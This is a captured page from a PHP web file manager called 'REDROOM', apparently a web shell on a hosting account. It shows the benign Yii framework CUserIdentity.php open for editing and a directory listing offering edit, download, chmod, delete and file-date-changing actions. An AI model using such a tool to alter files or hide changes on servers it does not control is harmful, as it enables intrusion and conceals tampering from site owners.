REDROOM
PHP 8.1.33
Path:
Logout
Edit File
Size: 2.20 KB
Close
/home/jambtst2015/www/framework/web/auth/CUserIdentity.php
Text
Base64
<?php /** * CUserIdentity class file * * @author Qiang Xue <qiang.xue@gmail.com> * @link http://www.yiiframework.com/ * @copyright 2008-2013 Yii Software LLC * @license http://www.yiiframework.com/license/ */ /** * CUserIdentity is a base class for representing identities that are authenticated based on a username and a password. * * Derived classes should implement {@link authenticate} with the actual * authentication scheme (e.g. checking username and password against a DB table). * * By default, CUserIdentity assumes the {@link username} is a unique identifier * and thus use it as the {@link id ID} of the identity. * * @property string $id The unique identifier for the identity. * @property string $name The display name for the identity. * * @author Qiang Xue <qiang.xue@gmail.com> * @package system.web.auth * @since 1.0 */ class CUserIdentity extends CBaseUserIdentity { /** * @var string username */ public $username; /** * @var string password */ public $password; /** * Constructor. * @param string $username username * @param string $password password */ public function __construct($username,$password) { $this->username=$username; $this->password=$password; } /** * Authenticates a user based on {@link username} and {@link password}. * Derived classes should override this method, or an exception will be thrown. * This method is required by {@link IUserIdentity}. * @return boolean whether authentication succeeds. */ public function authenticate() { throw new CException(Yii::t('yii','{class}::authenticate() must be implemented.',array('{class}'=>get_class($this)))); } /** * Returns the unique identifier for the identity. * The default implementation simply returns {@link username}. * This method is required by {@link IUserIdentity}. * @return string the unique identifier for the identity. */ public function getId() { return $this->username; } /** * Returns the display name for the identity. * The default implementation simply returns {@link username}. * This method is required by {@link IUserIdentity}. * @return string the display name for the identity. */ public function getName() { return $this->username; } }
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 0 × Files: 15
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
CAccessControlFilter.php
12.00 KB
lrw-r--r--
2024-11-22 17:53:15
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
CAuthAssignment.php
2.45 KB
lrw-r--r--
2024-11-22 17:53:15
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
CAuthItem.php
7.41 KB
lrw-r--r--
2024-11-22 17:53:15
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
CAuthManager.php
6.49 KB
lrw-r--r--
2024-11-22 17:53:15
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
CBaseUserIdentity.php
3.93 KB
lrw-r--r--
2024-11-22 17:53:15
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
CDbAuthManager.php
18.90 KB
lrw-r--r--
2024-11-22 17:53:15
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
CPhpAuthManager.php
15.96 KB
lrw-r--r--
2024-11-22 17:53:15
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
CUserIdentity.php
2.20 KB
lrw-r--r--
2024-11-22 17:53:15
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
CWebUser.php
27.35 KB
lrw-r--r--
2024-11-22 17:53:15
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
error_log
34.28 KB
lrw-r--r--
2025-11-04 15:17:16
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
schema-mssql.sql
1.24 KB
lrw-r--r--
2024-11-22 17:53:15
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
schema-mysql.sql
1.28 KB
lrw-r--r--
2024-11-22 17:53:15
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
schema-oci.sql
1.24 KB
lrw-r--r--
2024-11-22 17:53:15
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
schema-pgsql.sql
1.24 KB
lrw-r--r--
2024-11-22 17:53:15
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
schema-sqlite.sql
1.24 KB
lrw-r--r--
2024-11-22 17:53:15
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).